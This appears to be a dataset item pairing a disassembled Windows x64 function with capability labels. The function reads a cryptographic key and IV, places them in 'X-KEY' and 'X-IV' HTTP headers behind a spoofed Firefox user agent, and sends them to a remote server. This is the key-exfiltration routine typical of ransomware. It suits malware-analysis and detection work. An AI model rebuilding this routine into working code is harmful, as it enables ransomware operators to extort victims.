Function at 0x140011339
Capabilities:
Connect to http server
Create http request
Reference http user-agent string
Send data
Send http request

Disassembly:
jmp 0x1400120f0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x2c8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x72
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x2e8]
mov rax, qword [0x14001f008]
xor rax, rbp
mov qword [rbp + 0x278], rax
lea rcx, [0x1400250a4]
call fcn.1400113d4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.Mozilla_5.0__X11__Linux_i686__rv:10.0__Gecko_20100101_Firefox_10.0
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140012195
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, eax
lea r8, str.InternetOpenA_failed_with_code__d
mov edx, 0x400
lea rcx, [0x14001f8e0]
call fcn.140011230
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1400123af
mov dword [rbp + 0xd4], 0x10
mov rax, qword [rbp + 0x2a0]
add rax, 0x1c
mov r8d, 0x20
mov rdx, rax
lea rcx, [rbp + 0x68]
call fcn.1400111d6
mov dword [rsp + 0x20], 0
lea r9, [rbp + 0xd4]
lea r8, [rbp + 0xa8]
mov edx, 1
mov rax, qword [rbp + 0x2a0]
mov rcx, qword [rax + 8]
call qword [sym.imp.ADVAPI32.dll_CryptGetKeyParam]
mov eax, 1
imul rax, rax, 0x20
mov qword [rbp + 0x248], rax
cmp qword [rbp + 0x248], 0x21
jae 0x140012204
jmp 0x140012209
call fcn.1400112df
mov rax, qword [rbp + 0x248]
mov byte [rbp + rax + 0x68], 0
mov eax, 1
imul rax, rax, 0x10
mov qword [rbp + 0x268], rax
cmp qword [rbp + 0x268], 0x11
jae 0x140012231
jmp 0x140012236
call fcn.1400112df
mov rax, qword [rbp + 0x268]
mov byte [rbp + rax + 0xa8], 0
lea rax, [rbp + 0xa8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x68]
lea r8, str.X_KEY:__s_r_nX_IV:__s_r_n_r_n_r_n
mov edx, 0x64
lea rcx, [rbp + 0x100]
call fcn.140011230
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8w, 0x50
mov rdx, qword [rbp + 0x2a8]
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x1400122df
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, eax
lea r8, str.InternetConnectA_failed_with_code__d
mov edx, 0x400
lea rcx, [0x14001f8e0]
call fcn.140011230
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1400123af
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0x20000000
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str.HTTP_1.1
lea r8, [0x14001c50c]
lea rdx, [0x14001c510]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x140012355
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, eax
lea r8, str.HttpOpenRequestA_failed_with_code__d
mov edx, 0x400
lea rcx, [0x14001f8e0]
call fcn.140011230
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1400123af
lea rcx, [rbp + 0x100]
call fcn.140011190
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, eax
lea rdx, [rbp + 0x100]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x1400123ad
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, eax
lea r8, str.HttpSendRequestA_failed_with_code__d
mov edx, 0x400
lea rcx, [0x14001f8e0]
call fcn.140011230
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1400123af
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001c0c0]
call fcn.140011357
mov rax, rdi
mov rcx, qword [rbp + 0x278]
xor rcx, rbp
call fcn.1400111d1
lea rsp, [rbp + 0x288]
pop rdi
pop rbp
ret